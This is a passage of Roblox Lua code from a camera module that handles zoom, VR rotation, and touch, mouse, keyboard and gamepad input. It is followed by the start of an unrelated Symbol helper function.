if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
function this:rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math_max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = self:rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
----- VR STUFF ------
function this:ApplyVRTransform()
if not VRService.VREnabled then
return
end
--we only want this to happen in first person VR
local player = PlayersService.LocalPlayer
if not (player and player.Character
and player.Character:FindFirstChild("HumanoidRootPart")
and player.Character.HumanoidRootPart:FindFirstChild("RootJoint")) then
return
end
local camera = workspace.CurrentCamera
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
if this:IsInFirstPerson() and not isInVehicle then
local vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrRotation = vrFrame - vrFrame.p
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
else
local rootJoint = player.Character.HumanoidRootPart.RootJoint
rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
end
end
local vrRotationIntensityExists = true
local lastVrRotationCheck = 0
function this:ShouldUseVRRotation()
if not VRService.VREnabled then
return false
end
if not vrRotationIntensityExists and tick() - lastVrRotationCheck < 1 then return false end
local success, vrRotationIntensity = pcall(function() return StarterGui:GetCore("VRRotationIntensity") end)
vrRotationIntensityExists = success and vrRotationIntensity ~= nil
lastVrRotationCheck = tick()
return success and vrRotationIntensity ~= nil and vrRotationIntensity ~= "Smooth"
end
function this:GetVRRotationInput()
local vrRotateSum = ZERO_VECTOR2
local vrRotationIntensity = StarterGui:GetCore("VRRotationIntensity")
local vrGamepadRotation = self.GamepadPanningCamera or ZERO_VECTOR2
local delayExpired = (tick() - lastVRRotation) >= self:GetRepeatDelayValue(vrRotationIntensity)
if math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then
local sign = 1
if vrGamepadRotation.x < 0 then
sign = -1
end
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true
end
elseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then
vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil
end
if self.TurningLeft then
if delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Left] then
vrRotateSum = vrRotateSum - self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Left] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Left] = nil
end
if self.TurningRight then
if (delayExpired or not vrRotateKeyCooldown[Enum.KeyCode.Right]) then
vrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity)
vrRotateKeyCooldown[Enum.KeyCode.Right] = true
end
else
vrRotateKeyCooldown[Enum.KeyCode.Right] = nil
end
if vrRotateSum ~= ZERO_VECTOR2 then
lastVRRotation = tick()
end
return vrRotateSum
end
local cameraTranslationConstraints = Vector3.new(1, 1, 1)
local humanoidJumpOrigin = nil
local trackingHumanoid = nil
local cameraFrozen = false
local subjectStateChangedConn = nil
local cameraSubjectChangedConn = nil
local workspaceChangedConn = nil
local humanoidChildAddedConn = nil
local humanoidChildRemovedConn = nil
local function cancelCameraFreeze(keepConstraints)
if not keepConstraints then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 1, cameraTranslationConstraints.z)
end
if cameraFrozen then
trackingHumanoid = nil
cameraFrozen = false
end
end
local function startCameraFreeze(subjectPosition, humanoidToTrack)
if not cameraFrozen then
humanoidJumpOrigin = subjectPosition
trackingHumanoid = humanoidToTrack
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, 0, cameraTranslationConstraints.z)
cameraFrozen = true
end
end
local function rescaleCameraOffset(newScaleFactor)
R15HeadHeight = R15_HEAD_OFFSET*newScaleFactor
end
local function onHumanoidSubjectChildAdded(child)
if child.Name == "BodyHeightScale" and child:IsA("NumberValue") then
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
end
heightScaleChangedConn = child.Changed:connect(rescaleCameraOffset)
rescaleCameraOffset(child.Value)
end
end
local function onHumanoidSubjectChildRemoved(child)
if child.Name == "BodyHeightScale" then
rescaleCameraOffset(1)
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
end
end
local function onNewCameraSubject()
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if humanoidChildAddedConn then
humanoidChildAddedConn:disconnect()
humanoidChildAddedConn = nil
end
if humanoidChildRemovedConn then
humanoidChildRemovedConn:disconnect()
humanoidChildRemovedConn = nil
end
if heightScaleChangedConn then
heightScaleChangedConn:disconnect()
heightScaleChangedConn = nil
end
local humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject
if trackingHumanoid ~= humanoid then
cancelCameraFreeze()
end
if humanoid and humanoid:IsA('Humanoid') then
humanoidChildAddedConn = humanoid.ChildAdded:connect(onHumanoidSubjectChildAdded)
humanoidChildRemovedConn = humanoid.ChildRemoved:connect(onHumanoidSubjectChildRemoved)
for _, child in pairs(humanoid:GetChildren()) do
onHumanoidSubjectChildAdded(child)
end
subjectStateChangedConn = humanoid.StateChanged:connect(function(oldState, newState)
if VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not this:IsInFirstPerson() then
startCameraFreeze(this:GetSubjectPosition(), humanoid)
elseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then
cancelCameraFreeze(true)
end
end)
end
end
local function onCurrentCameraChanged()
if cameraSubjectChangedConn then
cameraSubjectChangedConn:disconnect()
cameraSubjectChangedConn = nil
end
local camera = workspace.CurrentCamera
if camera then
cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):connect(onNewCameraSubject)
onNewCameraSubject()
end
end
function this:GetVRFocus(subjectPosition, timeDelta)
local newFocus = nil
local camera = workspace.CurrentCamera
local lastFocus = self.LastCameraFocus or subjectPosition
if not cameraFrozen then
cameraTranslationConstraints = Vector3.new(cameraTranslationConstraints.x, math.min(1, cameraTranslationConstraints.y + 0.42 * timeDelta), cameraTranslationConstraints.z)
end
if cameraFrozen and humanoidJumpOrigin and humanoidJumpOrigin.y > lastFocus.y then
newFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))
else
newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, cameraTranslationConstraints.y))
end
if cameraFrozen then
-- No longer in 3rd person
if self:IsInFirstPerson() then -- not VRService.VREnabled
cancelCameraFreeze()
end
-- This case you jumped off a cliff and want to keep your character in view
-- 0.5 is to fix floating point error when not jumping off cliffs
if humanoidJumpOrigin and subjectPosition.y < (humanoidJumpOrigin.y - 0.5) then
cancelCameraFreeze()
end
end
return newFocus
end
------------------------
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local lastTapTime = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local inputStartPositions = {}
local inputStartTimes = {}
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
--If isDynamicThumbstickEnabled, then only process TouchBegan event if it starts in GestureArea
if (not touchWorkspaceEventEnabled and not isDynamicThumbstickEnabled) or positionIntersectsGuiObject(input.Position, GestureArea) then
fingerTouches[input] = processed
if not processed then
inputStartPositions[input] = input.Position
inputStartTimes[input] = tick()
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
if isDynamicThumbstickEnabled then
return
end
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
delta = Vector2.new(delta.X, delta.Y * GameSettings:GetCameraYInvertValue())
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math_max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 10, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function calcLookBehindRotateInput(torso)
if torso then
local newDesiredLook = (torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
return Vector2.new(horizontalShift, vertShift)
end
return nil
end
local OnTouchTap = nil
if not touchWorkspaceEventEnabled then
OnTouchTap = function(position)
if isDynamicThumbstickEnabled and not IsAToolEquipped then
if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
local tween = {
from = this:GetCameraZoom(),
to = DefaultZoom,
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
this:ZoomCamera(from + (to - from)*alpha)
return to
end
}
tweens["Zoom"] = tween
else
local humanoid = this:GetHumanoid()
if humanoid then
local player = PlayersService.LocalPlayer
if player and player.Character then
if humanoid and humanoid.Torso then
local tween = {
from = this.RotateInput,
to = calcLookBehindRotateInput(humanoid.Torso),
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
to = calcLookBehindRotateInput(humanoid.Torso)
if to then
this.RotateInput = from + (to - from)*alpha
end
return to
end
}
tweens["Rotate"] = tween
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
end
end
lastTapTime = tick()
end
end
end
local function IsTouchTap(input)
-- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type.
if inputStartPositions[input] then
local posDelta = (inputStartPositions[input] - input.Position).magnitude
if posDelta < MAX_TAP_POS_DELTA then
local timeDelta = inputStartTimes[input] - tick()
if timeDelta < MAX_TAP_TIME_DELTA then
return true
end
end
end
return false
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
if not touchWorkspaceEventEnabled and IsTouchTap(input) then
OnTouchTap(input.Position)
end
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
inputStartPositions[input] = nil
inputStartTimes[input] = nil
end
local function OnMousePanButtonPressed(input, processed)
if processed then return end
this:UpdateMouseBehavior()
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
end
local function OnMousePanButtonReleased(input, processed)
this:UpdateMouseBehavior()
if not (isRightMouseDown or isMiddleMouseDown) then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouse3Down(input, processed)
if processed then return end
isMiddleMouseDown = true
OnMousePanButtonPressed(input, processed)
end
local function OnMouse3Up(input, processed)
isMiddleMouseDown = false
OnMousePanButtonReleased(input, processed)
end
local function OnMouseMoved(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
local inputDelta = input.Delta
inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue())
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math_floor(num + 0.5)
end
local eight2Pi = math_pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= ZERO_VECTOR3 then
camLook = camLook.unit
local currAngle = math_atan2(camLook.z, camLook.x)
local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if not hasGameLoaded and VRService.VREnabled then
return
end
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 6
local vrMaxSpeed = 4
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1, 1, point)
end
return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == ZERO_VECTOR2 then
lastThumbstickRotate = nil
if lastThumbstickPos == ZERO_VECTOR2 then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
if VRService.VREnabled then
currentSpeed = vrMaxSpeed
else
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
end
local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end)
finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue())
end
return ZERO_VECTOR2
end
local InputBeganConn, InputChangedConn, InputEndedConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if MenuOpenedConn then
MenuOpenedConn:disconnect()
MenuOpenedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
if GamepadConnectedConn then
GamepadConnectedConn:disconnect()
GamepadConnectedConn = nil
end
if GamepadDisconnectedConn then
GamepadDisconnectedConn:disconnect()
GamepadDisconnectedConn = nil
end
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if workspaceChangedConn then
workspaceChangedConn:disconnect()
workspaceChangedConn = nil
end
if TouchActivateConn then
TouchActivateConn:disconnect()
TouchActivateConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
isMiddleMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ResetInputStates()
isRightMouseDown = false
isMiddleMouseDown = false
OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters
if UserInputService.TouchEnabled then
--[[menu opening was causing serious touch issues
this should disable all active touch events if
they're active when menu opens.]]
for inputObject, value in pairs(fingerTouches) do
fingerTouches[inputObject] = nil
end
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
StartingDiff = nil
pinchBeginZoom = nil
NumUnsunkTouches = 0
end
end
function this.getGamepadPan(name, state, input)
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = ZERO_VECTOR2
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = ZERO_VECTOR2
end
end
end
function this.doGamepadZoom(name, state, input)
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.ZoomEnabled then
if this:GetCameraZoom() > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
end
function this:BindGamepadInputActions()
ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2)
ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3)
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
if touchWorkspaceEventEnabled then
TouchActivateConn = UserInputService.TouchTapInWorld:connect(function(touchPos, processed)
if isDynamicThumbstickEnabled and not processed and not IsAToolEquipped and positionIntersectsGuiObject(touchPos, GestureArea) then
if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
local tween = {
from = this:GetCameraZoom(),
to = DefaultZoom,
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
this:ZoomCamera(from + (to - from)*alpha)
return to
end
}
tweens["Zoom"] = tween
else
local humanoid = this:GetHumanoid()
if humanoid then
local player = PlayersService.LocalPlayer
if player and player.Character then
if humanoid and humanoid.Torso then
local tween = {
from = this.RotateInput,
to = calcLookBehindRotateInput(humanoid.Torso),
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
to = calcLookBehindRotateInput(humanoid.Torso)
if to then
this.RotateInput = from + (to - from)*alpha
end
return to
end
}
tweens["Rotate"] = tween
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
end
end
lastTapTime = tick()
end
end)
end
MenuOpenedConn = GuiService.MenuOpened:connect(function()
this:ResetInputStates()
end)
workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
if workspace.CurrentCamera then
onCurrentCameraChanged()
end
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
this.activeGamepad = nil
local function assignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if this.activeGamepad == nil then
this.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < this.activeGamepad.Value then
this.activeGamepad = connectedGamepads[i]
end
end
end
if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
this.activeGamepad = Enum.UserInputType.Gamepad1
end
end
GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if this.activeGamepad ~= gamepadEnum then return end
this.activeGamepad = nil
assignActivateGamepad()
end)
GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if this.activeGamepad == nil then
assignActivateGamepad()
end
end)
self:BindGamepadInputActions()
assignActivateGamepad()
-- set mouse behavior
self:UpdateMouseBehavior()
end
--Process tweens related to tap-to-recenter and double-tap-to-zoom
--Needs to be called from specific cameras on each update
function this:ProcessTweens()
for name, tween in pairs(tweens) do
local alpha = math.min(1.0, (tick() - tween.start)/tween.duration)
tween.to = tween.func(tween.from, tween.to, alpha)
if math.abs(1 - alpha) < 0.0001 then
tweens[name] = nil
end
end
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
self.cframe = workspace.CurrentCamera.CFrame
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
wait()
humanoid = findPlayerHumanoid(player)
end
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
-- Need to wait for camera cframe to update before we zoom in
-- Not waiting will force camera to original cframe
wait()
this:ZoomCamera(this.DefaultZoom)
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
local function OnGameLoaded()
hasGameLoaded = true
end
spawn(function()
if game:IsLoaded() then
OnGameLoaded()
else
game.Loaded:wait()
OnGameLoaded()
end
end)
local function OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
isDynamicThumbstickEnabled = true
end
end
local function OnDynamicThumbstickDisabled()
isDynamicThumbstickEnabled = false
end
local function OnGameSettingsTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnDynamicThumbstickDisabled()
end
end
end
local function OnDevTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnGameSettingsTouchMovementModeChanged()
end
end
if PlayersService.LocalPlayer then
PlayersService.LocalPlayer.Changed:Connect(function(prop)
if prop == "DevTouchMovementMode" then
OnDevTouchMovementModeChanged()
end
end)
OnDevTouchMovementModeChanged()
end
GameSettings.Changed:Connect(function(prop)
if prop == "TouchMovementMode" then
OnGameSettingsTouchMovementModeChanged()
end
end)
OnGameSettingsTouchMovementModeChanged()
GameSettings:SetCameraYInvertVisible()
pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end)
return this
end
return CreateCamera
|
--[[
Creates a Symbol with the given name.
When printed or coerced to a string, the symbol will turn into the string
given as its name.
]]
|
function Symbol.named(name)
assert(type(name) == "string", "Symbols must be created using a string name!")
local self = newproxy(true)
